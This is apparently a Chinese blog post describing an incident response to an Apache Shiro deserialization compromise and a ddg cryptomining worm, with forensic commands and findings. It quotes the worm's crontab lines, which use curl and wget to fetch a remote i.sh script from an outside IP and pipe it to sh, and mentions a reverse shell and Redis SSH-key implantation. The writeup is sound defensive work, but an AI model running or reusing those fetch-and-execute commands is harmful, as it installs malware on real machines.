应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)
背景
某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell。出于做安全的谨慎,马上出现场应急,确认漏洞。该漏洞存在在cookie字段中的rememberMe字段中,可以RCE
漏洞应急
来到现场后,发现已经升级了,漏洞确认修复完成,只能查看以前的攻击痕迹。
查看账号情况
首先查看账户文件/etc/passwd,修改时间和内容没有什么问题
stat /etc/passwd
cat /etc/passwd
查看文件情况
查看最近修改过的文件没看到特殊异常
ls -alst / -m -10 -name *
查看进程
查看进程
ps aux
看到异常 perl nc2.pl 后面参数跟着一个灯塔国地址,马上想到是反弹的shell,查问漏洞检测者,果真是,确认无害后kill进程。
查看网络连接
netstat -anop | grep tcp
发现服务器对外连接很多22端口,觉得异常,服务器主动对外发起连接22端口,很少见,询问业务也没有这类业务。看相关进程号,查看进程名ddg.2020。明显是一个矿马,经排查服务器上还启动redis和memcached。都是未授权访问。目测,是对外发起6379未授权漏洞的利用,写了root下的id_rsa.pub然后尝试22登录,看下自己的root下的.sshd,果真有id_rsa.pub不正常,因为都不适用root登录遂删除。查看进程目录。/tmp下面的,没有这个文件样板,全盘搜,只有ddg.2020.db没有ddg.2020,随机google,发现该样本会删除自己的文件,并启动定时任务去下载自己。
sudo -i
crontab -e
没有发现问题,还有一个地方
cat /var/spool/cron/crontabs/root
果然看到
curl -fsSL https://218.248.40.228:8443/i.sh | sh
wget -g -O -http://218.248.40.228:8443/i.sh | sh
马上配置阻断
查看进程运行时间对应的操作
history #只有四百多条,很明显不对
who /var/log/wtmp
last
last /var/run/utmp #
发现那天的登录日志被清理。
查看VPC内其他主机,都不存在该蠕虫,那么肯定就是通过getshell打进来,然后种了样本之后离开的。
总结
异常的发现在于明显区别于正常使用用途的网络连接。
应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)的更多相关文章
- 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计
Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. Apache Shiro默认使用了CookieRe ...
- Apache Shiro反序列化漏洞复现
Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...
- 一次关于shiro反序列化漏洞的思考
0x01前言 之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框 ...
- Apache Shiro 反序列化漏洞复现(CVE-2016-4437)
漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...
- Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)
Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性. 文章目录: 1.Shiro rememberMe ...
- Shiro反序列化漏洞复现
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.使用Shiro的易于理解的API,可以快速.轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企 ...
- Shiro 反序列化漏洞利用
环境搭建 docker pull medicean/vulapps:s_shiro_1 docker run -d -p 80:8080 medicean/vulapps:s_shiro_1 # 80 ...
- Apache Shiro 反序列化漏洞分析
Shiro550 环境搭建 参考:https://www.cnblogs.com/twosmi1e/p/14279403.html 使用Docker vulhub中的环境 docker cp 将容器内 ...
- Apache Shiro反序列化漏洞(Shiro550)
1.漏洞原理: Shiro 是 Java 的一个安全框架,执行身份验证.授权.密码.会话管理 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rem ...
随机推荐
- iOS:ODRefreshControl
https://github.com/Sephiroth87/ODRefreshControl Important note if your project doesn’t use ARC: you ...
- spring 配置 Java配置类装配bean
https://www.cnblogs.com/chenbenbuyi/p/8457700.html 自动化装配的确有很大的便利性,但是却并不能适用在所有的应用场景,比如需要装配的组件类不是由自己的应 ...
- 【转帖】Linux发行版:CentOS、Ubuntu、RedHat、Android、Tizen、MeeGo
Linux发行版:CentOS.Ubuntu.RedHat.Android.Tizen.MeeGo作者:阳光岛主 原文在这儿 Linux,最早由Linus Benedict Torvalds在199 ...
- linux echo命令
该篇文章转载于:http://www.cnblogs.com/ZhangShuo/articles/1829589.html linux的echo命令, 在shell编程中极为常用, 在终端下打印变量 ...
- MongoDB之update
Update操作只作用于集合中存在的文档.MongoDB提供了如下方法来更新集合中的文档: db.collection.update() db.collection.updateOne() New i ...
- win8.1的ie11无法打开127.0.0.1和本机IP访问
解决方法:把ie11安全选项里的启动保护模式对勾去掉!
- 如何用BarTender将日期变量和序列号变量放一起打印成条码?
刚接触BarTender 2016的小伙伴们可能对条码的数据源还不太搞的定,例如有时需要将日期变量和序列号变量放一起打印成条码,那如何简单达到目的呢?下面,小编教大家解决这一问题的三大步骤. 1.在B ...
- 小白扫盲:Android 设备的CPU类型(通常称为”ABIs”)
早期的Android系统几乎只支持ARMv5的CPU架构,但是现在不同了,你知道现在它支持多少种吗?7种! Android系统目前支持以下七种不同的CPU架构:ARMv5,ARMv7 (从2010年起 ...
- Linux远程管理之SVN,VNC
一.远程管理的基本概念 首先我们来初略的讲讲远程管理的一些基本概念.对于我们使用的计算机来说,如果是个人计算机,就没有远程管理这一概念了,想用的时候开机就能使用,而对于我们的服务器来说,就不同了,对于 ...
- Ulua_toLua_基本案例(六)_LuaCoroutine2
Ulua_toLua_基本案例(六)_LuaCoroutine2 using UnityEngine; using System.Collections; using LuaInterface; pu ...